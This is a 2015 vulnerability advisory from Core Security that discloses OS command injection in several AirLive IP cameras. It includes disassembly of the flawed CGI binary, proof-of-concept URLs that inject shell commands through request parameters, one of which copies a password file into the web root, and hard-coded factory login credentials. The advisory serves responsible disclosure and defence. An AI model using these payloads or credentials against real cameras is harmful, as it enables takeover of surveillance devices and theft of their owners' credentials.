1. Advisory Information
Title: AirLive Multiple Products OS Command Injection
Advisory ID: CORE-2015-0012
Advisory URL:
http://www.coresecurity.com/advisories/airlive-multiple-products-os-command-injection
Date published: 2015-07-06
Date of last update: 2015-07-06
Vendors contacted: AirLive
Release mode: User release
2. Vulnerability Information
Class: OS Command Injection [CWE-78], OS Command Injection [CWE-78]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-2279, CVE-2014-8389
3. Vulnerability Description
AirLive MD-3025 [3], BU-3026 [4], BU-2015 [2], WL-2000CAM [5] and POE-200CAM
[6] are IP cameras designed for professional surveillance and security
applications. The built-in IR LEDs provide high quality nighttime monitoring.
These AirLive [1] devices are vulnerable to an OS Command Injection
Vulnerability. In the case of the MD-3025, BU-3026 and BU-2015 cameras, the
vulnerability lies in the cgi_test.cgi binary file. In the case of the
WL-2000CAM and POE-200CAM cameras, the command injection can be performed using
the vulnerable wireless_mft.cgi binary file.
4. Vulnerable Packages
AirLive BU-2015 with firmware 1.03.18 16.06.2014
AirLive BU-3026 with firmware 1.43 21.08.2014
AirLive MD-3025 with firmware 1.81 21.08.2014
AirLive WL-2000CAM with firmware LM.1.6.18 14.10.2011
AirLive POE-200CAM v2 with firmware LM.1.6.17.01
Other devices may be affected too, but they were not checked.
5. Vendor Information, Solutions and Workarounds
Core Security recommends to apply a WAF (Web Application Firewall) rule that
would filter the vulnerable request (either the CGI file or the parameters
where the injection is performed) in order to avoid exploitation.
Contact the vendor for further information.
6. Credits
These vulnerabilities were discovered and researched by Nahuel Riva from Core
Security Exploit Writing Team. The publication of this advisory was coordinated
by Joaquin Rodriguez Varela from Core Security Advisories Team.
7. Technical Description / Proof of Concept Code
7.1. OS Command Injection in cgi_test.cgi when handling certain parameters
[CVE-2015-2279] There is an OS Command Injection in the cgi_test.cgi binary
file in the AirLive MD-3025, BU-3026 and BU-2015 cameras when handling certain
parameters. That specific CGI file can be requested without authentication,
unless the user specified in the configuration of the camera that every
communication should be performed over HTTPS (not enabled by default).
The vulnerable parameters are the following:
write_mac
write_pid
write_msn
write_tan
write_hdv
These parameters are used to invoke another binary file called "info_writer".
In the sub_93F4 function it uses the "QUERY_STRING" and checks if it contains
any of the parameters followed by an ampersand symbol:
sub_93F4
STMFD SP!, {R4-R7,LR}
LDR R0, =aQuery_string ; "QUERY_STRING"
SUB SP, SP, #4
BL getenv
MOV R1, #0 ; c
MOV R2, #0x12 ; n
MOV R6, R0
LDR R0, =unk_14B70 ; s
BL memset
LDR R0, =aContentTypeTex ; "Content-type: text/html\n\n<body>"
BL printf
MOV R5, #0
LDR R7, =off_B7D0
MOV R4, R5
B loc_943C
[...]
loc_9540 ; jumptable 00009470 case 7
MOV R0, R6
LDR R1, =aWrite_pid ; "write_pid&"
BL strstr
CMP R0, #0
BEQ loc_94CC ; jumptable 00009470 default case
[...]
It then uses whatever appears after the ampersand symbol in a call to printf()
in order to put together the parameter with which the "info_writer" binary will
be invoked. Finally, it calls the system() function:
[...]
.text:00009730 loc_9730 ; CODE XREF:
.text:00009714j
.text:00009730 MOV R2, R5
.text:00009734 LDR R1, =aOptIpncInfo__1 ;
"/opt/ipnc/info_writer -p %s > /dev/null"
.text:00009738 MOV R0, SP
.text:0000973C BL sprintf
.text:00009740 MOV R0, SP
.text:00009744 BL system
.text:00009748 MOV R2, R5
.text:0000974C LDR R1, =aWrite_pidOkPid ;
"WRITE_PID OK, PID=%s\r\n"
.text:00009750 LDR R0, =unk_1977C
.text:00009754 MOV R4, SP
.text:00009758 BL sprintf
.text:0000975C B loc_9728
[...]
Consequently, if a semicolon (;) is used after the ampersand symbol, arbitrary
commands can be injected into the operating system.
It's important to take into account that depending on the parameter used, there
are checks like this (corresponding to the write_pid parameter):
.text:00009708 MOV R0, R5
.text:0000970C BL strlen
.text:00009710 CMP R0, #9
This verifies that the parameter has a specific length. Because of this, the
injection is somewhat limited. Nevertheless, there are possible commands that
can be executed, for example:
Proof of Concept:
http://<Camera-IP>:8080/cgi_test.cgi?write_tan&;ls&ls%20-la
PoC Output:
Write MAC address, model name, hw version, sn, tan, pid,firmware version
-c => set system MAC address
-m [MAC] => write MAC address
-n [Model Name] => write Model Name
-h [HW Version] => write HW Version
-v [Firmware Version] => write Firmware Version
-s [SN] => write SN
-t [TAN] => write TAN
-d [PID] => write PID
-r [CR] => write Country Region
-p => show current info.
Content-type: text/html
<body>WRITE_TAN OK, PID=;ls&ls%20-
</body></html>3g.htm
485.htm
SStreamVideo.cab
ado.htm
cfgupgrade.cgi
cgi_test.cgi
client.htm
default.htm
default_else.htm
default_ie.htm
default_m.htm
default_nets.htm
[...]
7.2. OS Command Injection in AirLive WL-2000CAM's wireless_mft.cgi binary file
[CVE-2014-8389] The AirLive WL-2000CAM anf POE-200CAM
"/cgi-bin/mft/wireless_mft.cgi" binary file, has an OS command injection in the
parameter ap that can be exploited using the hard-coded credentials the
embedded Boa web server has inside its configuration file:
username: manufacture
password: erutcafunam
The following proof of concept copies the file where the user credentials are
stored in the web server root directory:
<a
href="http://<Camera-IP>/cgi-bin/mft/wireless_mft?ap=testname;cp%20/var/www/secret.passwd%20/web/html/credentials">http://<Camera-IP>/cgi-bin/mft/wireless_mft?ap=testname;cp%20/var/www/...</a>
Afterwards, the user credentials can be obtained by requesting:
<a href="http://<Camera-IP>/credentials">http://<Camera-IP>/credentials</a>
The credentials are encoded in a string using Base64, therefore it is easy to
decode them and have complete access to the device.
8. Report Timeline
2015-05-04: Core Security sent an initial email notification to AirLive.
Publication date set to Jun 8, 2015.
2015-05-07: Core Security sent another email notification to AirLive.
2015-05-14: Core Security attempted to contact AirLive through Twitter.
2015-05-20: Core Security attempted to contact AirLive through Twitter again.
2015-06-16: Core Security sent another email and Twitter notification to
AirLive.
2015-06-18: Core Security sent an email to Airlive explaining that this was
their last opportunity to reply, if not the advisory was going to be published
on June 23, 2015.
2015-07-06: Advisory CORE-2015-0012 published.
9. References
[1] http://www.airlive.com.
[2] http://www.airlive.com/product/BU-2015.
[3] http://www.airlive.com/product/MD-3025.
[4] http://www.airlive.com/product/BU-3026.
[5] http://www.airlivecam.eu/manualy/ip_kamery/WL-2000CAM.pdf.
[6] http://www.airlivesecurity.com/product.php?id=5#.
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12. Disclaimer
The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015
CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
